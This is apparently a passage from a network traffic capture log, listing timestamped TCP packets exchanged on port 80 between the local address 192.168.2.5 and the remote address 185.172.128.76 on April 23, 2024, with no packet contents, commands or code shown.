Apr 23, 2024 09:33:03.549808025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.549834013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.549839020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.549870968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.549873114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.549906969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.549911976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.549938917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.549946070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.549974918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.549978018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550010920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550018072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550046921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550051928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550081968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550090075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550117016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550122976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550153017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550153971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550189018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550194025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550225019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550231934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550261021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550266027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550297022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550299883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550329924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.550338030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.550368071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602427959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602485895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602514029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602523088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602540970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602559090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602564096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602595091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602602005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602638006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602642059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602674007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602683067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602709055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602716923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602746010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602751017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602782965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602787971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602824926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602839947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602874994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602883101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602911949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602915049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602946043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602950096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.602981091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.602988005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603015900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603024006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603050947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603054047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603086948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603091002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603122950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603127003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603158951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603164911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603194952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603200912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603230953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603235960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603266001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603272915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603300095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603307962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603334904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603341103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603370905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603377104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603408098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603414059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603446007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603451014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603482008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603490114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603516102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603518009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603553057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603558064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603588104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603595018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603622913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603629112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603657961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603661060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603693008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603720903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603728056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603750944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603760004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603763103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603800058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603807926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603833914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603843927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603868961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603873968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603904009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603909969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603938103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603945971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.603974104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.603977919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604008913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604012012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604043007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604049921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604078054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604087114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604116917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604132891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604167938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604180098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604202986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604208946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604238987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604243994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604274035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604279041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604309082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604314089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604343891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604351044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604379892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604382992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604414940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604423046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604449987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604460955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604485989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604489088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604521036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604525089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604556084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604567051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604589939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604597092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604624987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604629040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604660988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604665995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604696035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604701042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604731083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604738951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604765892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604770899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604800940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604805946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604835033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604840040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604870081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604876995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604904890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604909897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604939938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604948044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.604975939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.604979992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605012894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605015039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605047941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605052948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605083942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605087996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605118990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605128050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605154037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605159044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605190039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605195045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605225086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605231047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605259895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605266094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605294943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605295897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605329037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605334044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605364084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605369091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605397940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605403900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605433941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605437994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605468988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605473995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605504036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605508089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605540037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605542898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605576992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605582952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605612993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605617046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605648041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605649948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605683088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605686903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605717897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605721951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605752945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605756998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605787992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605792999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605824947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605829000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605859995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605863094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605895042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605897903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605930090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605936050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.605967045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.605969906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606002092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606005907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606035948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606040955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606070995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606076002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606106043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606127024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606139898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606142044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606175900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606189013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606210947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606215954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606245995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606251955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606281996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.606286049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.606322050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.648255110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.648423910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.650930882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.651106119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.652019024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.652081966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.652887106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.652925968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.652944088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.652966976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.652968884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653003931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653008938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653040886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653044939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653076887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653081894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653115034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653122902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653161049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653168917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653206110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653215885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653243065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653248072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653279066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653284073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653316975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.653320074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.653362036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.654906988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.654947042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.654969931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.654982090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.654983044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655033112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655086994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655132055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655134916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655177116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655636072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655673027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655692101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655709028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655714989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655745983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655750990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655781984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655787945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655838966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655844927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655875921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655880928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655911922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655915976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655949116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655953884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.655985117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.655994892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656023026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656027079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656058073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656064034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656095982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656110048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656147003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656150103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656187057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656192064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656224012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656229019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656260014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656270981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656297922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656301975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656332970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656338930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656368971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656373978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656405926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656415939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656443119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656447887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.656478882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.656483889 CEST	49704	80	192.168.2.5	185.172.128.76
